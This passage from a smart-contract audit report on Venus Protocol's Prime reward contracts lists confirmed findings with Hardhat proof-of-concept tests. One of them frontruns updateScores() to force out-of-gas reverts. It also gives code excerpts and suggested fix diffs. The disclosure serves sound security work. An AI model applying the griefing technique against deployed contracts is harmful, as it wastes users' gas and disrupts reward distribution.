    await comptroller._setMarketSupplyCaps([vbnb.address], [bigNumber18.mul(100)]);
    await comptroller._setMarketBorrowCaps([vbnb.address], [bigNumber18.mul(100)]);

    await bnb.connect(user3).approve(vbnb.address, bigNumber18.mul(90));
    await vbnb.connect(user3).mint(bigNumber18.mul(90));

    await vbnb.connect(user2).borrow(bigNumber18.mul(1));

    await comptroller._setPrimeToken(prime.address);
  });

  it("PoC", async () => {
    const bob = user3;
    // Bob deposits XVS in the vault
    await xvs.connect(bob).approve(xvsVault.address, bigNumber18.mul(2000));
    await xvsVault.connect(bob).deposit(xvs.address, 0, bigNumber18.mul(2000));
    await prime.issue(false, [bob.getAddress()]);
    await prime.addMarket(vbnb.address, bigNumber18.mul(1), bigNumber18.mul(1));

    // Bob mints vBNB/deposits BNB. This calls Prime.accrueInterestAndUpdateScore
    await bnb.connect(bob).approve(vbnb.address, bigNumber18.mul(90));
    await vbnb.connect(bob).mint(bigNumber18.mul(1));

    let market = await prime.markets(vbnb.address);

    // Expect that market.sumOfMembersScore is not 0. This means that the score was updated
    expect(market.sumOfMembersScore).to.not.equal(0);

    // We make the PSR.getUnreleasedFunds to return 103683. This lets Prime contract know that
    // there are unreleased funds and rewardIndex should be updated.
    await protocolShareReserve.getUnreleasedFunds.returns(103683);

    // Call accrueInterest manually.
    //
    // Since there are unreleased funds AND the sumOfMembersScore !== 0,
    // the reward index should be updated.
    await prime.accrueInterest(vbnb.address);
    market = await prime.markets(vbnb.address);

    // The reward index should be > 0, but it is not updated.
    expect(market.rewardIndex).to.equal(0);
  });
});

Recommended Mitigation Steps

Make sure that underlying token decimals are used instead of vToken decimals when calculating capital in Prime._calculateScore function.

    (uint256 capital, , ) = _capitalForScore(xvsBalanceForScore, borrow, supply, market);
    capital = capital * (10 ** (18 - IERC20Upgradeable(_getUnderlying(market)).decimals()));

chechu (Venus) confirmed via duplicate issue 588 and commented:

Fixed. See here and here

0xDjango (Judge) commented:

Agree with high severity as the core mechanic of interest calculation is incorrect.

Medium Risk Findings (3)

[M-01] Scores.sol: Incorrect computation of user’s score when alpha is 1

Submitted by Testerbot

The formula for a user’s score depends on the xvs staked and the capital. One core variable in the calculation of a user’s score is alpha which represents the weight for xvs and capital. It has been stated in the documentation that alpha can range from 0 to 1 depending on what kind of incentive the protocol wants to drive (XVS Staking or supply/borrow). Please review Significance of α subsection.

When alpha is 1, xvs has all the weight when calculating a user’s score, and capital has no weight. If we see the Cobb-Douglas function, the value of capital doesn’t matter, it will always return 1 since capital^0 is always 1. So, a user does not need to borrow or lend in a given market since capital does not have any weight in the score calculation.

The issue is an inconsistency in the implementation of the Cobb-Douglas function.

Developers have added an exception: if (xvs == 0 || capital == 0) return 0;
Because of this the code will always return 0 if either the xvs or the capital is zero, but we know this should not be the case when the alpha value is 1.

PoC

To check how it works:

In describe('boosted yield') add the following code:

it.only("calculate score only staking", async () => {
      const xvsBalance = bigNumber18.mul(5000);
      const capital = bigNumber18.mul(0);

      await prime.updateAlpha(1, 1); // 1

      //  5000^1 * 0^0 = 5000
      // BUT IS RETURNING 0!!!
      expect((await prime.calculateScore(xvsBalance, capital)).toString()).to.be.equal("0");
});

Recommended Mitigation Steps

Only return 0 when (xvs = 0 or capital = 0) * and alpha is not 1.

chechu (Venus) confirmed and commented:

Fixed here. (Alpha cannot be 0 or 1 anymore)

0xDjango (Judge) commented:

I agree with Medium severity. In the case where Venus decides to make XVS staking the sole factor in user score, this function should calculate correctly. Also given that the documentation specifically states “The value of α is between 0-1”.

[M-02] DoS and gas griefing of calls to Prime.updateScores()

Submitted by 0xDetermination, also found by SBSecurity, maanas (1, 2), al88nsk, PwnStars, Pessimistic, dethera, ThreeSigma, 0xblackskull, xAriextz, blutorque, neumo, tsvetanovv, sces60107, pina, oakcobalt, Breeje, ADM, tapir, said, debo, 0xweb3boy, and Satyam_Sharma

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L200-L230

https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301

updateScores() is meant to be called to update the scores of many users after reward alpha is changed or reward multipliers are changed. An attacker can cause calls to Prime.updateScores() to out-of-gas revert, delaying score updates. Rewards will be distributed incorrectly until scores are properly updated.

Proof of Concept

updateScores() will run out of gas and revert if any of the users passed in the argument array have already been updated. This is due to the continue statement and the incrementing location of i:

    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired();
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            address user = users[i];

            if (!tokens[user].exists) revert UserHasNoPrimeToken();
            if (isScoreUpdated[nextScoreUpdateRoundId][user]) continue;
            ...
            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }

An attacker can frontrun calls to updateScores() with a call to updateScores(), passing in a 1-member array of one of the addresses in the frontran call’s argument array. The frontran call will run out of gas and revert, and only one of the users intended to be updated will actually be updated.

Test

Paste and run the below test in the ‘mint and burn’ scenario in Prime.ts (line 302)

    it("dos_updateScores", async () => {
      //setup 3 users
      await prime.issue(true, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //change alpha
      await prime.updateAlpha(1, 5);
      //user 1 frontruns updateScores([many users]) with updateScores([solely user3])
      await prime.connect(user1).updateScores([user3.getAddress()])
      //frontran call should revert
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress(), user3.getAddress()])).to.be.reverted;
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Increment i such that continue doesn’t result in infinite looping:

    function updateScores(address[] memory users) external {
        ...
+       for (uint256 i = 0; i < users.length; ++i} ) {
-       for (uint256 i = 0; i < users.length; ) {
            ...
-           unchecked {
-               i++;
-           }
            ...
        }
    }

0xRobocop (Lookout) commented:

Finding is correct. The function updateScore will unsuccessfully increment i and hence will not skip the user, causing the call to revert.

Consider QA, since the function can be called again.

Marking as primary for sponsor review anyways.

chechu (Venus) confirmed, but disagreed with severity and commented:

Consider QA.

updateScores could be invoked again.

0xDjango (Judge) commented:

I agree with medium severity. Take the scenario where each user update costs 10_000 gas.

• 100 users need to be updated = 10_000 * 100 = 1_000_000 gas.
• Attacker frontruns as described above, costing themselves ~10,000 gas.
• OOG error will cause original caller to spend 1_000_000 gas.
• Original caller tries again.
• Attacker frontruns again.
• OOG error will cause original caller to spend another 1_000_000 gas.

This griefing attack can cause a significant amount of required spending.

chechu (Venus) commented:

Fixed here.

[M-03] The owner is a single point of failure and a centralization risk

Submitted by [Tera Bot](https://gist.github.com/code423n4/9e80eddfb29953d8b5a424084a54e4ed?permalinkcommentid=4762845#m01-the-owner-is-a-single-point-of-failure-and-a-centralization-risk)

Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.

Having a single EOA as the only owner of contracts is a large centralization risk and a single point of failure. A single private key may be taken in a hack, or the sole holder of the key may become unable to retrieve the key when necessary. Consider changing to a multi-signature setup, or having a role-based authorization model.

There are 3 instances of this issue:

File: contracts/Tokens/Prime/PrimeLiquidityProvider.sol

118         function initializeTokens(address[] calldata tokens_) external onlyOwner {

177         function setPrimeToken(address prime_) external onlyOwner {

216         function sweepToken(IERC20Upgradeable token_, address to_, uint256 amount_) external onlyOwner {

GitHub: [118, 177, 216]

chechu (Venus) acknowledged and commented:

Regarding [M‑03] The owner is a single point of failure and a centralization risk, the owner won’t be an EOA, but that cannot be specified in the solidity code. The owner of our contracts is always the Normal Timelock contract deployed at 0x939bD8d64c0A9583A7Dcea9933f7b21697ab6396. This contract is used in the Governance process, so after a voting period of 24 hours, and an extra delay of 48 hours if the vote passed, this contract will execute the commands agreed on the Venus Improvement Proposal.

0xDjango (Judge) commented:

Confirming medium severity for centralization risk, though Venus does has safeguards in place to ensure that decentralization is achieved through governance. From a user-perspective, the potentiality of centralization risks must be highlighted.

Low Risk and Non-Critical Issues

For this audit, 88 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by Bauchibred received the top score from the judge.

The following wardens also submitted reports: 0xprinc, 0xDetermination, DavidGiladi, josephdara, 0xTheC0der, Testerbot, 0xScourgedev, Maroutis, inzinko, ge6a, merlin, rokinot, 0xMosh, btk, bin2chen, 0xdice91, Fulum, PwnStars, gkrastenov, ThreeSigma, imare, Aymen0909, Flora, DeFiHackLabs, SPYBOY, KrisApostolov, J4X, neumo, jnforja, alexweb3, Mirror, berlin-101, deth, pina, 0xTiwa, d3e4, twicek, ast3ros, tonisives, 0xpiken, MohammedRizwan, ether_sky, pep7siup, Brenzee, Tricko, jkoppel, lsaudit, 0xfusion, glcanvas, lotux, santipu_, xAriextz, y4y, blutorque, ArmedGoose, sashik_eth, Krace, Daniel526, al88nsk, Norah, HChang26, squeaky_cactus, joaovwfreire, Breeje, oakcobalt, hals, rvierdiiev, peanuts, mahdirostami, vagrant, nobody2018, nisedo, IceBear, terrancrypt, Hama, said, n1punp, nadin, e0d1n, kutugu, seerether, 0xWaitress, 0x3b, 0xweb3boy, TangYuanShen, orion, and ptsanev.

[01] Prime.sol’s _claimInterest() should apply a slippage or allow users to partially claim their interest

Medium to low impact. The _claimInterest function hardcodes a 0% percent slippage and does not perform a final check after attempting to release funds from various sources. If the contract’s balance is still insufficient after these fund releases, it could lead to a revert on the safeTransfer call, preventing users from claiming their interest.

Proof of Concept

Take a look at the _claimInterest() function:

function _claimInterest(address vToken, address user) internal returns (uint256) {
  uint256 amount = getInterestAccrued(vToken, user);
  amount += interests[vToken][user].accrued;

  interests[vToken][user].rewardIndex = markets[vToken].rewardIndex;
  interests[vToken][user].accrued = 0;

  address underlying = _getUnderlying(vToken);
  IERC20Upgradeable asset = IERC20Upgradeable(underlying);

  if (amount > asset.balanceOf(address(this))) {
    address[] memory assets = new address[](1);
    assets[0] = address(asset);
    IProtocolShareReserve(protocolShareReserve).releaseFunds(comptroller, assets);
    if (amount > asset.balanceOf(address(this))) {
      IPrimeLiquidityProvider(primeLiquidityProvider).releaseFunds(address(asset));
      //@audit-issue M no extra check to see if the balance is still not enough, in the case where it isn't then the attempt to safetransfer the tokens  would always revert so at least available balance could be sent to user and then later on extras get sent, no?
      unreleasedPLPIncome[underlying] = 0;
    }
  }

  asset.safeTransfer(user, amount);

  emit InterestClaimed(user, vToken, amount);

  return amount;
}

In the above function, the contract tries to ensure it has enough balance to pay out the user’s interest in the following way:

1. If the required amount is greater than the contract’s balance, it releases funds from IProtocolShareReserve.
2. If the amount is still greater, it attempts to release funds from IPrimeLiquidityProvider.

The potential issue arises after this. There is no final check to ensure that the amount is less than or equal to the contract’s balance before executing safeTransfer, do note that a slippage of 0% has been applied.

If both releases (from IProtocolShareReserve and IPrimeLiquidityProvider) do not provide sufficient tokens, the safeTransfer will revert, and the user will be unable to claim their interest.

Depending on the situation this might not only lead to user frustration but also cause trust issues with the platform and would lead to user funds to be stuck s

Recommended Mitigation Steps

To address this issue, the following changes are suggested:

• Add a final balance check.
• If the balance is still insufficient, send whatever is available to the user.
• Store the deficit somewhere and inform the user that there’s more to claim once the contract has sufficient funds.

A diff for the recommended changes might look like:

function _claimInterest(address vToken, address user) internal returns (uint256) {
    ...
    if (amount > asset.balanceOf(address(this))) {
        address[] memory assets = new address[](1);
        assets[0] = address(asset);
        IProtocolShareReserve(protocolShareReserve).releaseFunds(comptroller, assets);
        if (amount > asset.balanceOf(address(this))) {
            IPrimeLiquidityProvider(primeLiquidityProvider).releaseFunds(address(asset));
            unreleasedPLPIncome[underlying] = 0;
        }
    }

+   uint256 availableBalance = asset.balanceOf(address(this));
+   uint256 transferAmount = (amount <= availableBalance) ? amount : availableBalance;

-   asset.safeTransfer(user, amount);
+   asset.safeTransfer(user, transferAmount);

    emit InterestClaimed(user, vToken, transferAmount);

    return transferAmount;
}

This ensures that a user always gets whatever is available, if the third suggestion is going to be implemented then do not forget to store the differences in a variable

NB: Submitting as QA, due to the chances of this happening being relatively low, but leaving the final decision to judge to upgrade to Medium if they see fit.

[02] getEffectiveDistributionSpeed() should prevent reversion and return 0 if accrued is ever more than balance

Low impact, since this is just how to better implement getEffectiveDistributionSpeed() to cover more valid edge cases.

Proof of Concept

Take a look at getEffectiveDistributionSpeed():

function getEffectiveDistributionSpeed(address token_) external view returns (uint256) {
  uint256 distributionSpeed = tokenDistributionSpeeds[token_];
  uint256 balance = IERC20Upgradeable(token_).balanceOf(address(this));
  uint256 accrued = tokenAmountAccrued[token_];

  if (balance - accrued > 0) {
    return distributionSpeed;
  }

  return 0;
}

As seen, the above function is used to get the rewards per block for a specific token; the issue is that an assumption is made that balance >= accrued is always true, which is not the case.

To support my argument above, note that the PrimeLiquidityProvider.sol also employs functions like sweepTokens() and releaseFunds. Whereas the latter makes an update to the accrual during its execution (i.e., setting the tokenAmountAccrued[token_] to 0), the former does not. This can be seen below:

function sweepToken(IERC20Upgradeable token_, address to_, uint256 amount_) external onlyOwner {
  uint256 balance = token_.balanceOf(address(this));
  if (amount_ > balance) {
    revert InsufficientBalance(amount_, balance);
  }

  emit SweepToken(address(token_), to_, amount_);

  token_.safeTransfer(to_, amount_);
}

function releaseFunds(address token_) external {
  if (msg.sender != prime) revert InvalidCaller();
  if (paused()) {
    revert FundsTransferIsPaused();
  }

  accrueTokens(token_);
  uint256 accruedAmount = tokenAmountAccrued[token_];
  tokenAmountAccrued[token_] = 0;

  emit TokenTransferredToPrime(token_, accruedAmount);

  IERC20Upgradeable(token_).safeTransfer(prime, accruedAmount);
}

Now, in a case where a portion of a token has been swept and the accrual is now more than the balance of said token, the getEffectiveDistributionSpeed() function reverts due to an underflow from the check here:

  uint256 distributionSpeed = tokenDistributionSpeeds[token_];
  uint256 balance = IERC20Upgradeable(token_).balanceOf(address(this));
  uint256 accrued = tokenAmountAccrued[token_];

  if (balance - accrued > 0)

Recommended Mitigation Steps

Make an addition to cover up the edge case in the getEffectiveDistributionSpeed() function, i.e., if accrued is already more than the balance then the distribution speed should be the same as if the difference is 0.

An approach to the recommended fix can be seen from the diff below:

    function getEffectiveDistributionSpeed(address token_) external view returns (uint256) {
        uint256 distributionSpeed = tokenDistributionSpeeds[token_];
        uint256 balance = IERC20Upgradeable(token_).balanceOf(address(this));
        uint256 accrued = tokenAmountAccrued[token_];
-        if (balance - accrued > 0) {
+        if (balance > accrued) {
            return distributionSpeed;
        }

        return 0;
    }

[03] Inconsistency in parameter validations between sister functions

Impact is low/informational.

The inconsistency in validation checks between similar functions can lead to unexpected behavior.

Proof of Concept

Take a look at updateAlpha():

function updateAlpha(uint128 _alphaNumerator, uint128 _alphaDenominator) external {
  _checkAccessAllowed("updateAlpha(uint128,uint128)");
  _checkAlphaArguments(_alphaNumerator, _alphaDenominator);

  emit AlphaUpdated(alphaNumerator, alphaDenominator, _alphaNumerator, _alphaDenominator);

  alphaNumerator = _alphaNumerator;
  alphaDenominator = _alphaDenominator;

  for (uint256 i = 0; i < allMarkets.length; ) {
    accrueInterest(allMarkets[i]);

    unchecked {
      i++;
    }
  }

  _startScoreUpdateRound();
}

function updateMultipliers(address market, uint256 supplyMultiplier, uint256 borrowMultiplier) external {
  _checkAccessAllowed("updateMultipliers(address,uint256,uint256)");
  if (!markets[market].exists) revert MarketNotSupported();

  accrueInterest(market);

  emit MultiplierUpdated(
    market,
    markets[market].supplyMultiplier,
    markets[market].borrowMultiplier,
    supplyMultiplier,
    borrowMultiplier
  );
  markets[market].supplyMultiplier = supplyMultiplier;
  markets[market].borrowMultiplier = borrowMultiplier;

  _startScoreUpdateRound();
}

In the updateAlpha function, there is a check _checkAlphaArguments(_alphaNumerator, _alphaDenominator) which ensures the correctness of the arguments provided. This establishes a certain standard of validation for updating alpha values.

function _checkAlphaArguments(uint128 _alphaNumerator, uint128 _alphaDenominator) internal {
  if (_alphaDenominator == 0 || _alphaNumerator > _alphaDenominator) {
    revert InvalidAlphaArguments();
  }
}

However, in the updateMultipliers function, there is no equivalent validation function like _checkAlphaArguments. This discrepancy implies that the two functions, which are logically do not maintain a consistent standard of input validation.

Recommended Mitigation Steps

Consider introducing a validation function (e.g., _checkMultipliersArguments) that will validate the parameters supplyMultiplier and borrowMultiplier.

• Incorporate this validation function into the updateMultipliers function, similar to how _checkAlphaArguments is used in the updateAlpha function.
• Make sure that the validation function checks for logical constraints, edge cases, or any other relevant criteria for these parameters.

A diff for the recommended changes might appear as:

+ function _checkMultipliersArguments(uint256 supplyMultiplier, uint256 borrowMultiplier) internal {
+     // Implement the validation logic here
+     ...
+ }

function updateMultipliers(address market, uint256 supplyMultiplier, uint256 borrowMultiplier) external {
    ...
+   _checkMultipliersArguments(supplyMultiplier, borrowMultiplier);
    ...
    if (!markets[market].exists) revert MarketNotSupported();
    ...
    emit MultiplierUpdated(
        ...
    );
    markets[market].supplyMultiplier = supplyMultiplier;
    markets[market].borrowMultiplier = borrowMultiplier;

    _startScoreUpdateRound();
}

[04] The lastAccruedBlock naming needs to be refactored

Low impact, confusing comment/docs since the lastAccruedBlock is either wrongly implemented or wrongly named.

Proof of Concept

Take a look at PrimeLiquidityProvider.sol#L22-L24:

    /// @notice The rate at which token is distributed to the Prime contract
    mapping(address => uint256) public lastAccruedBlock;

As seen, lastAccruedBlock currently claims to be the rate at which a token is distributed to the prime contract, but this is wrong since this mapping actuallly holds value for the last block an accrual was made for an address.

Recommended Mitigation Steps

Fix the comments around the lastAccruedBlock mapping or change the name itself.

[05] More sanity checks should be applied to calculateScore()

Low impact, since the chances of passing a valuse above type(int256).max is relatively slim.

Proof of Concept

Take a look at calculateScore():

function calculateScore(
  uint256 xvs,
  uint256 capital,
  uint256 alphaNumerator,
  uint256 alphaDenominator
) internal pure returns (uint256) {
  // Score function is:
  // xvs^𝝰 * capital^(1-𝝰)
  //    = capital * capital^(-𝝰) * xvs^𝝰
  //    = capital * (xvs / capital)^𝝰
  //    = capital * (e ^ (ln(xvs / capital))) ^ 𝝰
  //    = capital * e ^ (𝝰 * ln(xvs / capital))     (1)
  // or
  //    = capital / ( 1 / e ^ (𝝰 * ln(xvs / capital)))
  //    = capital / (e ^ (𝝰 * ln(xvs / capital)) ^ -1)
  //    = capital / e ^ (𝝰 * -1 * ln(xvs / capital))
  //    = capital / e ^ (𝝰 * ln(capital / xvs))     (2)
  //
  // To avoid overflows, use (1) when xvs < capital and
  // use (2) when capital < xvs

  // If any side is 0, exit early
  if (xvs == 0 || capital == 0) return 0;

  // If both sides are equal, we have:
  // xvs^𝝰 * capital^(1-𝝰)
  //    = xvs^𝝰 * xvs^(1-𝝰)
  //    = xvs^(𝝰 + 1 - 𝝰)     = xvs
  if (xvs == capital) return xvs;

  bool lessxvsThanCapital = xvs < capital;

  // (xvs / capital) or (capital / xvs), always in range (0, 1)
  int256 ratio = lessxvsThanCapital ? FixedMath.toFixed(xvs, capital) : FixedMath.toFixed(capital, xvs);

  // e ^ ( ln(ratio) * 𝝰 )
  int256 exponentiation = FixedMath.exp(
    (FixedMath.ln(ratio) * alphaNumerator.toInt256()) / alphaDenominator.toInt256()
  );

  if (lessxvsThanCapital) {
    return FixedMath.uintMul(capital, exponentiation);
  }

  // capital / e ^ (𝝰 * ln(capital / xvs))
  return FixedMath.uintDiv(capital, exponentiation);
}

Do note that the function is used to calculate a membership score given some amount of xvs and capital, issue is that both alpha numerators and denoimantors are passed in as uint256 values and then while getting the exponentiation value these values are converted to int256 which would cause a revert.

Recommended Mitigation Steps

Better code structure could be applied, from the get go the values passed in for numerators and denominators could be checked to ensure that they are not above the max value of int256.

[06] The getPendingInterests() should be better implemented to handle cases where a market is unavailable

Low impact. If one market goes down or becomes unresponsive, users won’t be able to retrieve their pending interests for any of the subsequent markets. This can lead to misinformation and might affect user decisions.

Proof of Concept

Take a look atgetPendingInterests():

function getPendingInterests(address user) external returns (PendingInterest[] memory pendingInterests) {
  address[] storage _allMarkets = allMarkets;
  PendingInterest[] memory pendingInterests = new PendingInterest[](_allMarkets.length);
  //@audit-ok this function currently does not take into account that one of the markets could go down in that case a break in this loop could occur, check perennial sherlock

  for (uint256 i = 0; i < _allMarkets.length; ) {
    address market = _allMarkets[i];
    uint256 interestAccrued = getInterestAccrued(market, user);
    uint256 accrued = interests[market][user].accrued;

    pendingInterests[i] = PendingInterest({ market: IVToken(market).underlying(), amount: interestAccrued + accrued });

    unchecked {
      i++;
    }
  }

  return pendingInterests;
}

As seen, there’s a loop that goes through all available markets to fetch the boosted pending interests for a user. However, if any of these calls (like getInterestAccrued) fail due to market unavailability or any other issue, the loop will be interrupted.

Recommended Mitigation Steps

To ensure the function’s resilience and provide accurate information even if some markets are down, wrap the calls inside the loop in a try/catch block. If a call fails, log an event indicating the market that caused the failure:

event MarketCallFailed(address indexed market);

for (uint256 i = 0; i < _allMarkets.length; ) {
    address market = _allMarkets[i];

    try {
        uint256 interestAccrued = getInterestAccrued(market, user);
        uint256 accrued = interests[market][user].accrued;

        pendingInterests[i] = PendingInterest({
            market: IVToken(market).underlying(),
            amount: interestAccrued + accrued
        });
    } catch {
        emit MarketCallFailed(market);
    }

    unchecked {
        i++;
    }
}